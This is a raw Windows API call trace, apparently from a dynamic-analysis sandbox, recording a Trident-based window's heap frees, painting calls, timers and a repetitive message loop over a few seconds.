[0103.748] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.748] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.748] LsDestroyLine () returned 0x0
[0103.748] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.748] SelectObject (hdc=0x90101e7, h=0x18a002e) returned 0x30a01ff
[0103.748] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.748] LsDestroyContext () returned 0x0
[0103.749] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4972e0 | out: hHeap=0x450000) returned 1
[0103.749] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6978 | out: hHeap=0x450000) returned 1
[0103.749] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5029b0 | out: hHeap=0x450000) returned 1
[0103.749] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6948 | out: hHeap=0x450000) returned 1
[0103.749] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5013a0 | out: hHeap=0x450000) returned 1
[0103.749] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501378 | out: hHeap=0x450000) returned 1
[0103.749] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4c7d10 | out: hHeap=0x450000) returned 1
[0103.749] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503cf0 | out: hHeap=0x450000) returned 1
[0103.749] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5011e8 | out: hHeap=0x450000) returned 1
[0103.749] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501210 | out: hHeap=0x450000) returned 1
[0103.749] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5011c0 | out: hHeap=0x450000) returned 1
[0103.749] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501328 | out: hHeap=0x450000) returned 1
[0103.749] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5004d0 | out: hHeap=0x450000) returned 1
[0103.749] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd810 | out: hHeap=0x450000) returned 1
[0103.749] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd830 | out: hHeap=0x450000) returned 1
[0103.749] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd840 | out: hHeap=0x450000) returned 1
[0103.749] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd820 | out: hHeap=0x450000) returned 1
[0103.749] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48b598 | out: hHeap=0x450000) returned 1
[0103.750] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4954a0 | out: hHeap=0x450000) returned 1
[0103.750] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f1678 | out: hHeap=0x450000) returned 1
[0103.750] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e1f50 | out: hHeap=0x450000) returned 1
[0103.750] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x500fc8 | out: hHeap=0x450000) returned 1
[0103.750] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x502ca0 | out: hHeap=0x450000) returned 1
[0103.750] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x502d70 | out: hHeap=0x450000) returned 1
[0103.750] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x462cf0 | out: hHeap=0x450000) returned 1
[0103.750] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc160 | out: hHeap=0x450000) returned 1
[0103.750] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x509210 | out: hHeap=0x450000) returned 1
[0103.750] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e08 | out: hHeap=0x450000) returned 1
[0103.750] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508fa8 | out: hHeap=0x450000) returned 1
[0103.750] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x509078 | out: hHeap=0x450000) returned 1
[0103.750] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497f80 | out: hHeap=0x450000) returned 1
[0103.750] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f2fe8 | out: hHeap=0x450000) returned 1
[0103.750] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5008d8 | out: hHeap=0x450000) returned 1
[0103.750] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f1790 | out: hHeap=0x450000) returned 1
[0103.750] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503268 | out: hHeap=0x450000) returned 1
[0103.750] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.750] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.750] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.751] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e0ec8 | out: hHeap=0x450000) returned 1
[0103.751] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.751] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.751] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.751] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.751] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.751] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.751] BitBlt (hdc=0x330107bc, x=0, y=752, cx=1324, cy=10, hdcSrc=0x90101e7, x1=0, y1=0, rop=0xcc0020) returned 1
[0103.751] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49d7b8 | out: hHeap=0x450000) returned 1
[0103.751] GetStockObject (i=15) returned 0x188000b
[0103.751] SelectPalette (hdc=0x330107bc, hPal=0x188000b, bForceBkgd=1) returned 0x188000b
[0103.751] EndPaint (hWnd=0x1013a, lpPaint=0x1cf580) returned 1
[0103.751] MapWindowPoints (in: hWndFrom=0x1013a, hWndTo=0x0, lpPoints=0x1cf13c, cPoints=0x1 | out: lpPoints=0x1cf13c) returned 5242938
[0103.751] DeleteObject (ho=0xb040257) returned 1
[0103.751] GetCurrentThreadId () returned 0x4e0
[0103.751] GetCurrentThreadId () returned 0x4e0
[0103.751] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0103.751] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0103.751] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0103.751] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0103.751] KillTimer (hWnd=0x1013a, uIDEvent=0x1000) returned 1
[0103.751] GetCurrentThreadId () returned 0x4e0
[0103.751] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0103.751] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0103.751] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0103.751] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0103.751] SetTimer (hWnd=0x1013a, nIDEvent=0x1008, uElapse=0x64, lpTimerFunc=0x0) returned 0x1008
[0103.751] GetCurrentThreadId () returned 0x4e0
[0103.751] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0103.751] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0103.752] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0103.752] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0103.752] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0103.752] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0103.761] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0103.981] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0103.981] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0103.981] GetCapture () returned 0x0
[0103.982] WindowFromPoint (Point=0x363) returned 0x1013a
[0103.982] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0103.982] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0103.982] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0103.982] PtInRect (lprc=0x1cf3f0, pt=0x329) returned 1
[0103.982] GetCurrentThreadId () returned 0x4e0
[0103.982] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0103.982] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0103.982] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0103.982] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0103.982] KillTimer (hWnd=0x1013a, uIDEvent=0x1008) returned 1
[0103.982] GetCurrentThreadId () returned 0x4e0
[0103.982] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0104.112] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0104.112] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0104.112] GetCapture () returned 0x0
[0104.112] WindowFromPoint (Point=0x363) returned 0x1013a
[0104.112] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0104.112] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0104.112] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0104.112] PtInRect (lprc=0x1cf3f0, pt=0x329) returned 1
[0104.112] GetCurrentThreadId () returned 0x4e0
[0104.112] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0104.629] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0104.629] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0104.630] GetCapture () returned 0x0
[0104.630] WindowFromPoint (Point=0x363) returned 0x1013a
[0104.630] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0104.630] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0104.630] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0104.630] PtInRect (lprc=0x1cf3f0, pt=0x329) returned 1
[0104.630] GetCurrentThreadId () returned 0x4e0
[0104.630] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0104.984] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0104.984] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0104.984] GetCapture () returned 0x0
[0104.984] WindowFromPoint (Point=0x363) returned 0x1013a
[0104.984] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0104.985] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0104.985] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0104.985] PtInRect (lprc=0x1cf3f0, pt=0x329) returned 1
[0104.985] GetCurrentThreadId () returned 0x4e0
[0104.985] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0105.344] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0105.344] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0105.344] GetCapture () returned 0x0
[0105.344] WindowFromPoint (Point=0x363) returned 0x1013a
[0105.345] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0105.345] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0105.345] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0105.345] PtInRect (lprc=0x1cf3f0, pt=0x329) returned 1
[0105.345] GetCurrentThreadId () returned 0x4e0
[0105.345] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0105.598] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0105.598] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0105.599] GetCapture () returned 0x0
[0105.599] WindowFromPoint (Point=0x363) returned 0x1013a
[0105.599] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0105.599] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0105.599] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0105.599] PtInRect (lprc=0x1cf3f0, pt=0x329) returned 1
[0105.599] GetCurrentThreadId () returned 0x4e0
[0105.599] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0105.906] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0105.906] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0105.906] GetCapture () returned 0x0
[0105.906] WindowFromPoint (Point=0x363) returned 0x1013a
[0105.906] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0105.906] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0105.906] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0105.906] PtInRect (lprc=0x1cf3f0, pt=0x329) returned 1
[0105.906] GetCurrentThreadId () returned 0x4e0
[0105.907] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0106.221] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0106.221] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0106.221] GetCapture () returned 0x0
[0106.221] WindowFromPoint (Point=0x363) returned 0x1013a
[0106.221] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0106.221] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0106.221] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0106.221] PtInRect (lprc=0x1cf3f0, pt=0x329) returned 1
[0106.221] GetCurrentThreadId () returned 0x4e0
[0106.221] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0106.530] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0106.530] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0106.530] GetCapture () returned 0x0
[0106.530] WindowFromPoint (Point=0x363) returned 0x1013a
[0106.530] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0106.530] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0106.530] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0106.530] PtInRect (lprc=0x1cf3f0, pt=0x329) returned 1
[0106.530] GetCurrentThreadId () returned 0x4e0
[0106.530] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0106.842] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0106.842] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0106.842] GetCapture () returned 0x0
[0106.842] WindowFromPoint (Point=0x363) returned 0x1013a
[0106.842] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0106.842] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0106.842] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0106.843] PtInRect (lprc=0x1cf3f0, pt=0x329) returned 1
[0106.843] GetCurrentThreadId () returned 0x4e0
[0106.843] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0107.154] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0107.154] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0107.154] GetCapture () returned 0x0
[0107.154] WindowFromPoint (Point=0x363) returned 0x1013a
[0107.154] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0107.154] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0107.154] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0107.154] PtInRect (lprc=0x1cf3f0, pt=0x329) returned 1
[0107.154] GetCurrentThreadId () returned 0x4e0
[0107.154] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0107.470] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0107.470] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0107.470] GetCapture () returned 0x0
[0107.470] WindowFromPoint (Point=0x363) returned 0x1013a
[0107.470] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0107.470] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0107.471] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0107.471] PtInRect (lprc=0x1cf3f0, pt=0x329) returned 1
[0107.471] GetCurrentThreadId () returned 0x4e0
[0107.471] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0107.778] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0107.778] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0107.778] GetCapture () returned 0x0
[0107.778] WindowFromPoint (Point=0x363) returned 0x1013a
[0107.778] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0107.778] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0107.778] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0107.778] PtInRect (lprc=0x1cf3f0, pt=0x329) returned 1
[0107.778] GetCurrentThreadId () returned 0x4e0
[0107.778] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0108.093] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0108.093] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0108.093] GetCapture () returned 0x0
[0108.093] WindowFromPoint (Point=0x363) returned 0x1013a
[0108.093] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0108.094] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0108.094] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0108.094] PtInRect (lprc=0x1cf3f0, pt=0x329) returned 1
[0108.094] GetCurrentThreadId () returned 0x4e0
[0108.094] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0108.402] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0108.402] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0108.402] GetCapture () returned 0x0
[0108.402] WindowFromPoint (Point=0x363) returned 0x1013a
[0108.402] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0108.402] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0108.402] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0108.402] PtInRect (lprc=0x1cf3f0, pt=0x329) returned 1
[0108.402] GetCurrentThreadId () returned 0x4e0
[0108.402] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0108.716] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0108.716] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0108.716] GetCapture () returned 0x0
[0108.716] WindowFromPoint (Point=0x363) returned 0x1013a
[0108.716] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0108.716] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0108.716] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0108.716] PtInRect (lprc=0x1cf3f0, pt=0x329) returned 1
[0108.716] GetCurrentThreadId () returned 0x4e0
[0108.716] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0109.026] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0109.027] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0109.027] GetCapture () returned 0x0
[0109.027] WindowFromPoint (Point=0x363) returned 0x1013a
[0109.027] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0109.027] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0109.027] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0109.027] PtInRect (lprc=0x1cf3f0, pt=0x329) returned 1
[0109.027] GetCurrentThreadId () returned 0x4e0
[0109.027] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0109.338] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0109.338] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0109.338] GetCapture () returned 0x0
[0109.338] WindowFromPoint (Point=0x363) returned 0x1013a
[0109.338] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0109.338] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0109.338] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0109.338] PtInRect (lprc=0x1cf3f0, pt=0x329) returned 1
[0109.338] GetCurrentThreadId () returned 0x4e0
[0109.339] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0109.650] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0109.650] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0109.650] GetCapture () returned 0x0
[0109.650] WindowFromPoint (Point=0x363) returned 0x1013a
[0109.650] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0109.650] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0109.650] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0109.650] PtInRect (lprc=0x1cf3f0, pt=0x329) returned 1
[0109.650] GetCurrentThreadId () returned 0x4e0
[0109.650] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0109.823] NtdllDefWindowProc_W () returned 0x1
[0109.825] NtdllDefWindowProc_W () returned 0x0
[0109.825] NtdllDefWindowProc_W () returned 0x0
[0109.826] NtdllDefWindowProc_W () returned 0x0
[0109.826] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0109.826] GetParent (hWnd=0x1013a) returned 0x1012c
[0109.826] GetParent (hWnd=0x1012c) returned 0x0
[0109.826] PostMessageW (hWnd=0x1013a, Msg=0x491, wParam=0x0, lParam=0x0) returned 1
[0109.826] GetMessageTime () returned 35724
[0109.826] GetMessagePos () returned 0x15f0363
[0109.826] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf3b0 | out: lpPoint=0x1cf3b0) returned 1
[0109.826] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf3b0 | out: lpPoint=0x1cf3b0) returned 1
[0109.827] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x4b2d40
[0109.827] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x28) returned 0x4b6ca8
[0109.827] GetCurrentThreadId () returned 0x4e0
[0109.827] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0109.827] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0109.828] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x8, wParam=0x0, lParam=0x0, plResult=0x1cf5ec | out: plResult=0x1cf5ec) returned 0x1
[0109.828] NtdllDefWindowProc_W () returned 0x0
[0109.828] GetCurrentThreadId () returned 0x4e0
[0109.828] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0109.828] GetMessageTime () returned 35724
[0109.828] GetMessagePos () returned 0x15f0363
[0109.828] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0x1cf1fc | out: plResult=0x1cf1fc) returned 0x0
[0109.829] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0109.829] GetMessageTime () returned 35724
[0109.829] GetMessagePos () returned 0x15f0363
[0109.829] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0109.829] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x282, wParam=0x1, lParam=0x0, plResult=0x1cec2c | out: plResult=0x1cec2c) returned 0x0
[0109.829] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0109.829] SetTimer (hWnd=0x1013a, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000
[0109.829] GetCurrentThreadId () returned 0x4e0
[0109.829] GetCurrentThreadId () returned 0x4e0
[0109.829] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0109.830] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0109.830] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0109.830] GetAncestor (hwnd=0x1013a, gaFlags=0x2) returned 0x1012c
[0109.830] IsIconic (hWnd=0x1012c) returned 0
[0109.830] GetCurrentThreadId () returned 0x4e0
[0109.830] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0109.830] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0109.830] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0109.830] GetFocus () returned 0x0
